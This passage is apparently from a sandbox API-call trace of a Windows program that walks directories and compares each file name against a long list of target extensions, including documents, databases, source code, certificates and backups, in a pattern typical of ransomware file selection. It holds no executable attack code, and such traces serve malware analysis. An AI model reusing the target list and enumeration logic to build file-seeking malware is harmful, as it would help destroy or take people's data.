(lpString=".emf") returned 4 [0097.412] lstrcmpiW (lpString1=".emf", lpString2=".rtf") returned -1 [0097.412] lstrlenW (lpString=".emz") returned 4 [0097.413] lstrcmpiW (lpString1=".emz", lpString2=".rtf") returned -1 [0097.413] lstrlenW (lpString=".epf") returned 4 [0097.413] lstrcmpiW (lpString1=".epf", lpString2=".rtf") returned -1 [0097.413] lstrlenW (lpString=".eps") returned 4 [0097.413] lstrcmpiW (lpString1=".eps", lpString2=".rtf") returned -1 [0097.413] lstrlenW (lpString=".epsf") returned 5 [0097.413] lstrcmpiW (lpString1=".epsf", lpString2="a.rtf") returned -1 [0097.413] lstrlenW (lpString=".epsp") returned 5 [0097.413] lstrcmpiW (lpString1=".epsp", lpString2="a.rtf") returned -1 [0097.413] lstrlenW (lpString=".erf") returned 4 [0097.413] lstrcmpiW (lpString1=".erf", lpString2=".rtf") returned -1 [0097.413] lstrlenW (lpString=".exr") returned 4 [0097.413] lstrcmpiW (lpString1=".exr", lpString2=".rtf") returned -1 [0097.413] lstrlenW (lpString=".f4v") returned 4 [0097.413] lstrcmpiW (lpString1=".f4v", lpString2=".rtf") returned -1 [0097.413] lstrlenW (lpString=".fido") returned 5 [0097.413] lstrcmpiW (lpString1=".fido", lpString2="a.rtf") returned -1 [0097.413] lstrlenW (lpString=".flm") returned 4 [0097.413] lstrcmpiW (lpString1=".flm", lpString2=".rtf") returned -1 [0097.413] lstrlenW (lpString=".flv") returned 4 [0097.413] lstrcmpiW (lpString1=".flv", lpString2=".rtf") returned -1 [0097.413] lstrlenW (lpString=".frm") returned 4 [0097.413] lstrcmpiW (lpString1=".frm", lpString2=".rtf") returned -1 [0097.413] lstrlenW (lpString=".fxg") returned 4 [0097.413] lstrcmpiW (lpString1=".fxg", lpString2=".rtf") returned -1 [0097.413] lstrlenW (lpString=".geo") returned 4 [0097.413] lstrcmpiW (lpString1=".geo", lpString2=".rtf") returned -1 [0097.413] lstrlenW (lpString=".gif") returned 4 [0097.413] lstrcmpiW (lpString1=".gif", lpString2=".rtf") returned -1 [0097.414] lstrlenW (lpString=".grs") returned 4 [0097.414] lstrcmpiW (lpString1=".grs", lpString2=".rtf") returned -1 [0097.414] lstrlenW (lpString=".gz") returned 3 [0097.414] lstrcmpiW (lpString1=".gz", lpString2="rtf") returned -1 [0097.414] lstrlenW (lpString=".h") returned 2 [0097.414] lstrcmpiW (lpString1=".h", lpString2="tf") returned -1 [0097.414] lstrlenW (lpString=".hdr") returned 4 [0097.414] lstrcmpiW (lpString1=".hdr", lpString2=".rtf") returned -1 [0097.414] lstrlenW (lpString=".hpp") returned 4 [0097.414] lstrcmpiW (lpString1=".hpp", lpString2=".rtf") returned -1 [0097.414] lstrlenW (lpString=".hta") returned 4 [0097.414] lstrcmpiW (lpString1=".hta", lpString2=".rtf") returned -1 [0097.414] lstrlenW (lpString=".htc") returned 4 [0097.414] lstrcmpiW (lpString1=".htc", lpString2=".rtf") returned -1 [0097.414] lstrlenW (lpString=".htm") returned 4 [0097.414] lstrcmpiW (lpString1=".htm", lpString2=".rtf") returned -1 [0097.414] lstrlenW (lpString=".html") returned 5 [0097.414] lstrcmpiW (lpString1=".html", lpString2="a.rtf") returned -1 [0097.414] lstrlenW (lpString=".icb") returned 4 [0097.414] lstrcmpiW (lpString1=".icb", lpString2=".rtf") returned -1 [0097.414] lstrlenW (lpString=".ics") returned 4 [0097.414] lstrcmpiW (lpString1=".ics", lpString2=".rtf") returned -1 [0097.414] lstrlenW (lpString=".iff") returned 4 [0097.414] lstrcmpiW (lpString1=".iff", lpString2=".rtf") returned -1 [0097.414] lstrlenW (lpString=".inc") returned 4 [0097.414] lstrcmpiW (lpString1=".inc", lpString2=".rtf") returned -1 [0097.414] lstrlenW (lpString=".indd") returned 5 [0097.414] lstrcmpiW (lpString1=".indd", lpString2="a.rtf") returned -1 [0097.415] lstrlenW (lpString=".ini") returned 4 [0097.415] lstrcmpiW (lpString1=".ini", lpString2=".rtf") returned -1 [0097.415] lstrlenW (lpString=".iqy") returned 4 [0097.415] lstrcmpiW (lpString1=".iqy", lpString2=".rtf") returned -1 [0097.415] lstrlenW (lpString=".j2c") returned 4 [0097.415] lstrcmpiW (lpString1=".j2c", lpString2=".rtf") returned -1 [0097.415] lstrlenW (lpString=".j2k") returned 4 [0097.415] lstrcmpiW (lpString1=".j2k", lpString2=".rtf") returned -1 [0097.415] lstrlenW (lpString=".java") returned 5 [0097.415] lstrcmpiW (lpString1=".java", lpString2="a.rtf") returned -1 [0097.415] lstrlenW (lpString=".jp2") returned 4 [0097.415] lstrcmpiW (lpString1=".jp2", lpString2=".rtf") returned -1 [0097.415] lstrlenW (lpString=".jpc") returned 4 [0097.415] lstrcmpiW (lpString1=".jpc", lpString2=".rtf") returned -1 [0097.415] lstrlenW (lpString=".jpe") returned 4 [0097.415] lstrcmpiW (lpString1=".jpe", lpString2=".rtf") returned -1 [0097.415] lstrlenW (lpString=".jpeg") returned 5 [0097.415] lstrcmpiW (lpString1=".jpeg", lpString2="a.rtf") returned -1 [0097.415] lstrlenW (lpString=".jpf") returned 4 [0097.415] lstrcmpiW (lpString1=".jpf", lpString2=".rtf") returned -1 [0097.415] lstrlenW (lpString=".jpg") returned 4 [0097.415] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0097.415] lstrlenW (lpString=".jpx") returned 4 [0097.415] lstrcmpiW (lpString1=".jpx", lpString2=".rtf") returned -1 [0097.415] lstrlenW (lpString=".js") returned 3 [0097.415] lstrcmpiW (lpString1=".js", lpString2="rtf") returned -1 [0097.415] lstrlenW (lpString=".jsf") returned 4 [0097.415] lstrcmpiW (lpString1=".jsf", lpString2=".rtf") returned -1 [0097.415] lstrlenW (lpString=".json") returned 5 [0097.416] lstrcmpiW (lpString1=".json", lpString2="a.rtf") returned -1 [0097.416] lstrlenW (lpString=".jsp") returned 4 [0097.416] lstrcmpiW (lpString1=".jsp", lpString2=".rtf") returned -1 [0097.416] lstrlenW (lpString=".kdc") returned 4 [0097.416] lstrcmpiW (lpString1=".kdc", lpString2=".rtf") returned -1 [0097.416] lstrlenW (lpString=".kmz") returned 4 [0097.416] lstrcmpiW (lpString1=".kmz", lpString2=".rtf") returned -1 [0097.416] lstrlenW (lpString=".kwm") returned 4 [0097.416] lstrcmpiW (lpString1=".kwm", lpString2=".rtf") returned -1 [0097.416] lstrlenW (lpString=".lasso") returned 6 [0097.416] lstrcmpiW (lpString1=".lasso", lpString2="la.rtf") returned -1 [0097.416] lstrlenW (lpString=".lbi") returned 4 [0097.416] lstrcmpiW (lpString1=".lbi", lpString2=".rtf") returned -1 [0097.416] lstrlenW (lpString=".lgf") returned 4 [0097.416] lstrcmpiW (lpString1=".lgf", lpString2=".rtf") returned -1 [0097.416] lstrlenW (lpString=".lgp") returned 4 [0097.416] lstrcmpiW (lpString1=".lgp", lpString2=".rtf") returned -1 [0097.416] lstrlenW (lpString=".log") returned 4 [0097.416] lstrcmpiW (lpString1=".log", lpString2=".rtf") returned -1 [0097.416] lstrlenW (lpString=".m1v") returned 4 [0097.416] lstrcmpiW (lpString1=".m1v", lpString2=".rtf") returned -1 [0097.416] lstrlenW (lpString=".m4a") returned 4 [0097.416] lstrcmpiW (lpString1=".m4a", lpString2=".rtf") returned -1 [0097.416] lstrlenW (lpString=".m4v") returned 4 [0097.416] lstrcmpiW (lpString1=".m4v", lpString2=".rtf") returned -1 [0097.416] lstrlenW (lpString=".max") returned 4 [0097.416] lstrcmpiW (lpString1=".max", lpString2=".rtf") returned -1 [0097.416] lstrlenW (lpString=".md") returned 3 [0097.416] lstrcmpiW (lpString1=".md", lpString2="rtf") returned -1 [0097.417] lstrlenW (lpString=".mda") returned 4 [0097.417] lstrcmpiW (lpString1=".mda", lpString2=".rtf") returned -1 [0097.417] lstrlenW (lpString=".mdb") returned 4 [0097.417] lstrcmpiW (lpString1=".mdb", lpString2=".rtf") returned -1 [0097.417] lstrlenW (lpString=".mde") returned 4 [0097.417] lstrcmpiW (lpString1=".mde", lpString2=".rtf") returned -1 [0097.417] lstrlenW (lpString=".mdf") returned 4 [0097.417] lstrcmpiW (lpString1=".mdf", lpString2=".rtf") returned -1 [0097.417] lstrlenW (lpString=".mdw") returned 4 [0097.417] lstrcmpiW (lpString1=".mdw", lpString2=".rtf") returned -1 [0097.417] lstrlenW (lpString=".mef") returned 4 [0097.417] lstrcmpiW (lpString1=".mef", lpString2=".rtf") returned -1 [0097.417] lstrlenW (lpString=".mft") returned 4 [0097.417] lstrcmpiW (lpString1=".mft", lpString2=".rtf") returned -1 [0097.417] lstrlenW (lpString=".mfw") returned 4 [0097.417] lstrcmpiW (lpString1=".mfw", lpString2=".rtf") returned -1 [0097.417] lstrlenW (lpString=".mht") returned 4 [0097.417] lstrcmpiW (lpString1=".mht", lpString2=".rtf") returned -1 [0097.417] lstrlenW (lpString=".mhtml") returned 6 [0097.417] lstrcmpiW (lpString1=".mhtml", lpString2="la.rtf") returned -1 [0097.417] lstrlenW (lpString=".mka") returned 4 [0097.417] lstrcmpiW (lpString1=".mka", lpString2=".rtf") returned -1 [0097.417] lstrlenW (lpString=".mkidx") returned 6 [0097.417] lstrcmpiW (lpString1=".mkidx", lpString2="la.rtf") returned -1 [0097.417] lstrlenW (lpString=".mkv") returned 4 [0097.417] lstrcmpiW (lpString1=".mkv", lpString2=".rtf") returned -1 [0097.417] lstrlenW (lpString=".mos") returned 4 [0097.417] lstrcmpiW (lpString1=".mos", lpString2=".rtf") returned -1 [0097.417] lstrlenW (lpString=".mov") returned 4 [0097.418] lstrcmpiW (lpString1=".mov", lpString2=".rtf") returned -1 [0097.418] lstrlenW (lpString=".mp3") returned 4 [0097.418] lstrcmpiW (lpString1=".mp3", lpString2=".rtf") returned -1 [0097.418] lstrlenW (lpString=".mp4") returned 4 [0097.418] lstrcmpiW (lpString1=".mp4", lpString2=".rtf") returned -1 [0097.418] lstrlenW (lpString=".mpeg") returned 5 [0097.418] lstrcmpiW (lpString1=".mpeg", lpString2="a.rtf") returned -1 [0097.418] lstrlenW (lpString=".mpg") returned 4 [0097.418] lstrcmpiW (lpString1=".mpg", lpString2=".rtf") returned -1 [0097.418] lstrlenW (lpString=".mpv") returned 4 [0097.418] lstrcmpiW (lpString1=".mpv", lpString2=".rtf") returned -1 [0097.418] lstrlenW (lpString=".mrw") returned 4 [0097.418] lstrcmpiW (lpString1=".mrw", lpString2=".rtf") returned -1 [0097.418] lstrlenW (lpString=".msg") returned 4 [0097.418] lstrcmpiW (lpString1=".msg", lpString2=".rtf") returned -1 [0097.418] lstrlenW (lpString=".mxl") returned 4 [0097.418] lstrcmpiW (lpString1=".mxl", lpString2=".rtf") returned -1 [0097.418] lstrlenW (lpString=".myd") returned 4 [0097.418] lstrcmpiW (lpString1=".myd", lpString2=".rtf") returned -1 [0097.418] lstrlenW (lpString=".myi") returned 4 [0097.418] lstrcmpiW (lpString1=".myi", lpString2=".rtf") returned -1 [0097.418] lstrlenW (lpString=".nef") returned 4 [0097.418] lstrcmpiW (lpString1=".nef", lpString2=".rtf") returned -1 [0097.418] lstrlenW (lpString=".nrw") returned 4 [0097.418] lstrcmpiW (lpString1=".nrw", lpString2=".rtf") returned -1 [0097.418] lstrlenW (lpString=".obj") returned 4 [0097.418] lstrcmpiW (lpString1=".obj", lpString2=".rtf") returned -1 [0097.418] lstrlenW (lpString=".odb") returned 4 [0097.419] lstrcmpiW (lpString1=".odb", lpString2=".rtf") returned -1 [0097.419] lstrlenW (lpString=".odc") returned 4 [0097.419] lstrcmpiW (lpString1=".odc", lpString2=".rtf") returned -1 [0097.419] lstrlenW (lpString=".odm") returned 4 [0097.419] lstrcmpiW (lpString1=".odm", lpString2=".rtf") returned -1 [0097.419] lstrlenW (lpString=".odp") returned 4 [0097.419] lstrcmpiW (lpString1=".odp", lpString2=".rtf") returned -1 [0097.419] lstrlenW (lpString=".ods") returned 4 [0097.419] lstrcmpiW (lpString1=".ods", lpString2=".rtf") returned -1 [0097.419] lstrlenW (lpString=".oft") returned 4 [0097.419] lstrcmpiW (lpString1=".oft", lpString2=".rtf") returned -1 [0097.419] lstrlenW (lpString=".one") returned 4 [0097.419] lstrcmpiW (lpString1=".one", lpString2=".rtf") returned -1 [0097.419] lstrlenW (lpString=".onepkg") returned 7 [0097.419] lstrcmpiW (lpString1=".onepkg", lpString2="ula.rtf") returned -1 [0097.419] lstrlenW (lpString=".onetoc2") returned 8 [0097.419] lstrcmpiW (lpString1=".onetoc2", lpString2="eula.rtf") returned -1 [0097.419] lstrlenW (lpString=".opt") returned 4 [0097.419] lstrcmpiW (lpString1=".opt", lpString2=".rtf") returned -1 [0097.419] lstrlenW (lpString=".oqy") returned 4 [0097.419] lstrcmpiW (lpString1=".oqy", lpString2=".rtf") returned -1 [0097.419] lstrlenW (lpString=".orf") returned 4 [0097.419] lstrcmpiW (lpString1=".orf", lpString2=".rtf") returned -1 [0097.419] lstrlenW (lpString=".p12") returned 4 [0097.419] lstrcmpiW (lpString1=".p12", lpString2=".rtf") returned -1 [0097.419] lstrlenW (lpString=".p7b") returned 4 [0097.419] lstrcmpiW (lpString1=".p7b", lpString2=".rtf") returned -1 [0097.419] lstrlenW (lpString=".p7c") returned 4 [0097.420] lstrcmpiW (lpString1=".p7c", lpString2=".rtf") returned -1 [0097.420] lstrlenW (lpString=".pam") returned 4 [0097.420] lstrcmpiW (lpString1=".pam", lpString2=".rtf") returned -1 [0097.420] lstrlenW (lpString=".pbm") returned 4 [0097.420] lstrcmpiW (lpString1=".pbm", lpString2=".rtf") returned -1 [0097.420] lstrlenW (lpString=".pct") returned 4 [0097.420] lstrcmpiW (lpString1=".pct", lpString2=".rtf") returned -1 [0097.420] lstrlenW (lpString=".pcx") returned 4 [0097.420] lstrcmpiW (lpString1=".pcx", lpString2=".rtf") returned -1 [0097.420] lstrlenW (lpString=".pdd") returned 4 [0097.420] lstrcmpiW (lpString1=".pdd", lpString2=".rtf") returned -1 [0097.420] lstrlenW (lpString=".pdf") returned 4 [0097.420] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0097.420] lstrlenW (lpString=".pdp") returned 4 [0097.420] lstrcmpiW (lpString1=".pdp", lpString2=".rtf") returned -1 [0097.420] lstrlenW (lpString=".pef") returned 4 [0097.420] lstrcmpiW (lpString1=".pef", lpString2=".rtf") returned -1 [0097.420] lstrlenW (lpString=".pem") returned 4 [0097.420] lstrcmpiW (lpString1=".pem", lpString2=".rtf") returned -1 [0097.420] lstrlenW (lpString=".pff") returned 4 [0097.420] lstrcmpiW (lpString1=".pff", lpString2=".rtf") returned -1 [0097.420] lstrlenW (lpString=".pfm") returned 4 [0097.420] lstrcmpiW (lpString1=".pfm", lpString2=".rtf") returned -1 [0097.420] lstrlenW (lpString=".pfx") returned 4 [0097.420] lstrcmpiW (lpString1=".pfx", lpString2=".rtf") returned -1 [0097.420] lstrlenW (lpString=".pgm") returned 4 [0097.420] lstrcmpiW (lpString1=".pgm", lpString2=".rtf") returned -1 [0097.420] lstrlenW (lpString=".php") returned 4 [0097.420] lstrcmpiW (lpString1=".php", lpString2=".rtf") returned -1 [0097.420] lstrlenW (lpString=".php3") returned 5 [0097.421] lstrcmpiW (lpString1=".php3", lpString2="a.rtf") returned -1 [0097.421] lstrlenW (lpString=".php4") returned 5 [0097.421] lstrcmpiW (lpString1=".php4", lpString2="a.rtf") returned -1 [0097.421] lstrlenW (lpString=".php5") returned 5 [0097.421] lstrcmpiW (lpString1=".php5", lpString2="a.rtf") returned -1 [0097.421] lstrlenW (lpString=".phtml") returned 6 [0097.421] lstrcmpiW (lpString1=".phtml", lpString2="la.rtf") returned -1 [0097.421] lstrlenW (lpString=".pict") returned 5 [0097.421] lstrcmpiW (lpString1=".pict", lpString2="a.rtf") returned -1 [0097.421] lstrlenW (lpString=".pl") returned 3 [0097.421] lstrcmpiW (lpString1=".pl", lpString2="rtf") returned -1 [0097.421] lstrlenW (lpString=".pls") returned 4 [0097.421] lstrcmpiW (lpString1=".pls", lpString2=".rtf") returned -1 [0097.421] lstrlenW (lpString=".pm") returned 3 [0097.421] lstrcmpiW (lpString1=".pm", lpString2="rtf") returned -1 [0097.421] lstrlenW (lpString=".png") returned 4 [0097.421] lstrcmpiW (lpString1=".png", lpString2=".rtf") returned -1 [0097.421] lstrlenW (lpString=".pnm") returned 4 [0097.421] lstrcmpiW (lpString1=".pnm", lpString2=".rtf") returned -1 [0097.421] lstrlenW (lpString=".pot") returned 4 [0097.421] lstrcmpiW (lpString1=".pot", lpString2=".rtf") returned -1 [0097.421] lstrlenW (lpString=".potm") returned 5 [0097.421] lstrcmpiW (lpString1=".potm", lpString2="a.rtf") returned -1 [0097.421] lstrlenW (lpString=".potx") returned 5 [0097.421] lstrcmpiW (lpString1=".potx", lpString2="a.rtf") returned -1 [0097.421] lstrlenW (lpString=".ppa") returned 4 [0097.421] lstrcmpiW (lpString1=".ppa", lpString2=".rtf") returned -1 [0097.421] lstrlenW (lpString=".ppam") returned 5 [0097.421] lstrcmpiW (lpString1=".ppam", lpString2="a.rtf") returned -1 [0097.422] lstrlenW (lpString=".ppm") returned 4 [0097.422] lstrcmpiW (lpString1=".ppm", lpString2=".rtf") returned -1 [0097.422] lstrlenW (lpString=".pps") returned 4 [0097.422] lstrcmpiW (lpString1=".pps", lpString2=".rtf") returned -1 [0097.422] lstrlenW (lpString=".ppsm") returned 5 [0097.422] lstrcmpiW (lpString1=".ppsm", lpString2="a.rtf") returned -1 [0097.422] lstrlenW (lpString=".ppt") returned 4 [0097.422] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0097.422] lstrlenW (lpString=".pptm") returned 5 [0097.422] lstrcmpiW (lpString1=".pptm", lpString2="a.rtf") returned -1 [0097.422] lstrlenW (lpString=".pptx") returned 5 [0097.422] lstrcmpiW (lpString1=".pptx", lpString2="a.rtf") returned -1 [0097.422] lstrlenW (lpString=".prn") returned 4 [0097.422] lstrcmpiW (lpString1=".prn", lpString2=".rtf") returned -1 [0097.422] lstrlenW (lpString=".ps") returned 3 [0097.422] lstrcmpiW (lpString1=".ps", lpString2="rtf") returned -1 [0097.422] lstrlenW (lpString=".psb") returned 4 [0097.422] lstrcmpiW (lpString1=".psb", lpString2=".rtf") returned -1 [0097.422] lstrlenW (lpString=".psd") returned 4 [0097.422] lstrcmpiW (lpString1=".psd", lpString2=".rtf") returned -1 [0097.422] lstrlenW (lpString=".pst") returned 4 [0097.422] lstrcmpiW (lpString1=".pst", lpString2=".rtf") returned -1 [0097.422] lstrlenW (lpString=".ptx") returned 4 [0097.422] lstrcmpiW (lpString1=".ptx", lpString2=".rtf") returned -1 [0097.422] lstrlenW (lpString=".pub") returned 4 [0097.422] lstrcmpiW (lpString1=".pub", lpString2=".rtf") returned -1 [0097.422] lstrlenW (lpString=".pwm") returned 4 [0097.422] lstrcmpiW (lpString1=".pwm", lpString2=".rtf") returned -1 [0097.423] lstrlenW (lpString=".pxr") returned 4 [0097.423] lstrcmpiW (lpString1=".pxr", lpString2=".rtf") returned -1 [0097.423] lstrlenW (lpString=".py") returned 3 [0097.423] lstrcmpiW (lpString1=".py", lpString2="rtf") returned -1 [0097.423] lstrlenW (lpString=".qt") returned 3 [0097.423] lstrcmpiW (lpString1=".qt", lpString2="rtf") returned -1 [0097.423] lstrlenW (lpString=".r3d") returned 4 [0097.423] lstrcmpiW (lpString1=".r3d", lpString2=".rtf") returned -1 [0097.423] lstrlenW (lpString=".raf") returned 4 [0097.423] lstrcmpiW (lpString1=".raf", lpString2=".rtf") returned -1 [0097.423] lstrlenW (lpString=".rar") returned 4 [0097.423] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0098.985] lstrlenW (lpString=".raw") returned 4 [0098.985] lstrcmpiW (lpString1=".raw", lpString2=".rtf") returned -1 [0098.985] lstrlenW (lpString=".rdf") returned 4 [0098.985] lstrcmpiW (lpString1=".rdf", lpString2=".rtf") returned -1 [0098.985] lstrlenW (lpString=".rgbe") returned 5 [0098.985] lstrcmpiW (lpString1=".rgbe", lpString2="a.rtf") returned -1 [0098.985] lstrlenW (lpString=".rle") returned 4 [0098.985] lstrcmpiW (lpString1=".rle", lpString2=".rtf") returned -1 [0098.985] lstrlenW (lpString=".rqy") returned 4 [0098.985] lstrcmpiW (lpString1=".rqy", lpString2=".rtf") returned -1 [0098.985] lstrlenW (lpString=".rss") returned 4 [0098.985] lstrcmpiW (lpString1=".rss", lpString2=".rtf") returned -1 [0098.985] lstrlenW (lpString=".rtf") returned 4 [0098.985] lstrcmpiW (lpString1=".rtf", lpString2=".rtf") returned 0 [0098.985] FindNextFileW (in: hFindFile=0x3e50840, lpFindFileData=0x2e5f800 | out: lpFindFileData=0x2e5f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x151aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0098.985] lstrlenW (lpString="LocalizedData.xml") returned 17 [0098.985] lstrlenW (lpString=".1cd") returned 4 [0098.985] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0098.985] lstrlenW (lpString=".3ds") returned 4 [0099.030] lstrcmpiW (lpString1=".3ds", lpString2=".xml") returned -1 [0099.030] lstrlenW (lpString=".3fr") returned 4 [0099.030] lstrcmpiW (lpString1=".3fr", lpString2=".xml") returned -1 [0099.030] lstrlenW (lpString=".3g2") returned 4 [0099.030] lstrcmpiW (lpString1=".3g2", lpString2=".xml") returned -1 [0099.030] lstrlenW (lpString=".3gp") returned 4 [0099.030] lstrcmpiW (lpString1=".3gp", lpString2=".xml") returned -1 [0099.030] lstrlenW (lpString=".7z") returned 3 [0099.030] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0099.030] lstrlenW (lpString=".accda") returned 6 [0099.031] lstrcmpiW (lpString1=".accda", lpString2="ta.xml") returned -1 [0099.031] lstrlenW (lpString=".accdb") returned 6 [0099.031] lstrcmpiW (lpString1=".accdb", lpString2="ta.xml") returned -1 [0099.031] lstrlenW (lpString=".accdc") returned 6 [0099.031] lstrcmpiW (lpString1=".accdc", lpString2="ta.xml") returned -1 [0099.031] lstrlenW (lpString=".accde") returned 6 [0099.031] lstrcmpiW (lpString1=".accde", lpString2="ta.xml") returned -1 [0099.031] lstrlenW (lpString=".accdt") returned 6 [0099.031] lstrcmpiW (lpString1=".accdt", lpString2="ta.xml") returned -1 [0099.031] lstrlenW (lpString=".accdw") returned 6 [0099.031] lstrcmpiW (lpString1=".accdw", lpString2="ta.xml") returned -1 [0099.031] lstrlenW (lpString=".adb") returned 4 [0099.031] lstrcmpiW (lpString1=".adb", lpString2=".xml") returned -1 [0099.031] lstrlenW (lpString=".adp") returned 4 [0099.031] lstrcmpiW (lpString1=".adp", lpString2=".xml") returned -1 [0099.031] lstrlenW (lpString=".ai") returned 3 [0099.031] lstrcmpiW (lpString1=".ai", lpString2="xml") returned -1 [0099.031] lstrlenW (lpString=".ai3") returned 4 [0099.031] lstrcmpiW (lpString1=".ai3", lpString2=".xml") returned -1 [0099.031] lstrlenW (lpString=".ai4") returned 4 [0099.031] lstrcmpiW (lpString1=".ai4", lpString2=".xml") returned -1 [0099.031] lstrlenW (lpString=".ai5") returned 4 [0099.031] lstrcmpiW (lpString1=".ai5", lpString2=".xml") returned -1 [0099.031] lstrlenW (lpString=".ai6") returned 4 [0099.031] lstrcmpiW (lpString1=".ai6", lpString2=".xml") returned -1 [0099.031] lstrlenW (lpString=".ai7") returned 4 [0099.031] lstrcmpiW (lpString1=".ai7", lpString2=".xml") returned -1 [0099.031] lstrlenW (lpString=".ai8") returned 4 [0099.031] lstrcmpiW (lpString1=".ai8", lpString2=".xml") returned -1 [0099.031] lstrlenW (lpString=".anim") returned 5 [0099.031] lstrcmpiW (lpString1=".anim", lpString2="a.xml") returned -1 [0099.031] lstrlenW (lpString=".arw") returned 4 [0099.031] lstrcmpiW (lpString1=".arw", lpString2=".xml") returned -1 [0099.031] lstrlenW (lpString=".as") returned 3 [0099.032] lstrcmpiW (lpString1=".as", lpString2="xml") returned -1 [0099.032] lstrlenW (lpString=".asa") returned 4 [0099.032] lstrcmpiW (lpString1=".asa", lpString2=".xml") returned -1 [0099.032] lstrlenW (lpString=".asc") returned 4 [0099.032] lstrcmpiW (lpString1=".asc", lpString2=".xml") returned -1 [0099.032] lstrlenW (lpString=".ascx") returned 5 [0099.032] lstrcmpiW (lpString1=".ascx", lpString2="a.xml") returned -1 [0099.032] lstrlenW (lpString=".asm") returned 4 [0099.032] lstrcmpiW (lpString1=".asm", lpString2=".xml") returned -1 [0099.032] lstrlenW (lpString=".asmx") returned 5 [0099.032] lstrcmpiW (lpString1=".asmx", lpString2="a.xml") returned -1 [0099.032] lstrlenW (lpString=".asp") returned 4 [0099.032] lstrcmpiW (lpString1=".asp", lpString2=".xml") returned -1 [0099.032] lstrlenW (lpString=".aspx") returned 5 [0099.032] lstrcmpiW (lpString1=".aspx", lpString2="a.xml") returned -1 [0099.032] lstrlenW (lpString=".asr") returned 4 [0099.032] lstrcmpiW (lpString1=".asr", lpString2=".xml") returned -1 [0099.032] lstrlenW (lpString=".asx") returned 4 [0099.032] lstrcmpiW (lpString1=".asx", lpString2=".xml") returned -1 [0099.032] lstrlenW (lpString=".avi") returned 4 [0099.032] lstrcmpiW (lpString1=".avi", lpString2=".xml") returned -1 [0099.032] lstrlenW (lpString=".avs") returned 4 [0099.032] lstrcmpiW (lpString1=".avs", lpString2=".xml") returned -1 [0099.032] lstrlenW (lpString=".backup") returned 7 [0099.032] lstrcmpiW (lpString1=".backup", lpString2="ata.xml") returned -1 [0099.032] lstrlenW (lpString=".bak") returned 4 [0099.032] lstrcmpiW (lpString1=".bak", lpString2=".xml") returned -1 [0099.032] lstrlenW (lpString=".bay") returned 4 [0099.032] lstrcmpiW (lpString1=".bay", lpString2=".xml") returned -1 [0099.032] lstrlenW (lpString=".bd") returned 3 [0099.032] lstrcmpiW (lpString1=".bd", lpString2="xml") returned -1 [0099.032] lstrlenW (lpString=".bin") returned 4 [0099.032] lstrcmpiW (lpString1=".bin", lpString2=".xml") returned -1 [0099.032] lstrlenW (lpString=".bmp") returned 4 [0099.033] lstrcmpiW (lpString1=".bmp", lpString2=".xml") returned -1 [0099.033] lstrlenW (lpString=".bz2") returned 4 [0099.033] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0099.033] lstrlenW (lpString=".c") returned 2 [0099.033] lstrcmpiW (lpString1=".c", lpString2="ml") returned -1 [0099.033] lstrlenW (lpString=".cdr") returned 4 [0099.033] lstrcmpiW (lpString1=".cdr", lpString2=".xml") returned -1 [0099.033] lstrlenW (lpString=".cer") returned 4 [0099.033] lstrcmpiW (lpString1=".cer", lpString2=".xml") returned -1 [0099.033] lstrlenW (lpString=".cf") returned 3 [0099.033] lstrcmpiW (lpString1=".cf", lpString2="xml") returned -1 [0099.033] lstrlenW (lpString=".cfc") returned 4 [0099.033] lstrcmpiW (lpString1=".cfc", lpString2=".xml") returned -1 [0099.033] lstrlenW (lpString=".cfm") returned 4 [0099.033] lstrcmpiW (lpString1=".cfm", lpString2=".xml") returned -1 [0099.033] lstrlenW (lpString=".cfml") returned 5 [0099.033] lstrcmpiW (lpString1=".cfml", lpString2="a.xml") returned -1 [0099.033] lstrlenW (lpString=".cfu") returned 4 [0099.033] lstrcmpiW (lpString1=".cfu", lpString2=".xml") returned -1 [0099.033] lstrlenW (lpString=".chm") returned 4 [0099.033] lstrcmpiW (lpString1=".chm", lpString2=".xml") returned -1 [0099.033] lstrlenW (lpString=".cin") returned 4 [0099.033] lstrcmpiW (lpString1=".cin", lpString2=".xml") returned -1 [0099.033] lstrlenW (lpString=".class") returned 6 [0099.033] lstrcmpiW (lpString1=".class", lpString2="ta.xml") returned -1 [0099.033] lstrlenW (lpString=".clx") returned 4 [0099.033] lstrcmpiW (lpString1=".clx", lpString2=".xml") returned -1 [0099.033] lstrlenW (lpString=".config") returned 7 [0099.033] lstrcmpiW (lpString1=".config", lpString2="ata.xml") returned -1 [0099.033] lstrlenW (lpString=".cpp") returned 4 [0099.033] lstrcmpiW (lpString1=".cpp", lpString2=".xml") returned -1 [0099.033] lstrlenW (lpString=".cr2") returned 4 [0099.033] lstrcmpiW (lpString1=".cr2", lpString2=".xml") returned -1 [0099.033] lstrlenW (lpString=".crt") returned 4 [0099.034] lstrcmpiW (lpString1=".crt", lpString2=".xml") returned -1 [0099.034] lstrlenW (lpString=".crw") returned 4 [0099.034] lstrcmpiW (lpString1=".crw", lpString2=".xml") returned -1 [0099.034] lstrlenW (lpString=".cs") returned 3 [0099.034] lstrcmpiW (lpString1=".cs", lpString2="xml") returned -1 [0099.034] lstrlenW (lpString=".css") returned 4 [0099.034] lstrcmpiW (lpString1=".css", lpString2=".xml") returned -1 [0099.034] lstrlenW (lpString=".csv") returned 4 [0099.034] lstrcmpiW (lpString1=".csv", lpString2=".xml") returned -1 [0099.034] lstrlenW (lpString=".cub") returned 4 [0099.034] lstrcmpiW (lpString1=".cub", lpString2=".xml") returned -1 [0099.034] lstrlenW (lpString=".dae") returned 4 [0099.034] lstrcmpiW (lpString1=".dae", lpString2=".xml") returned -1 [0099.034] lstrlenW (lpString=".dat") returned 4 [0099.034] lstrcmpiW (lpString1=".dat", lpString2=".xml") returned -1 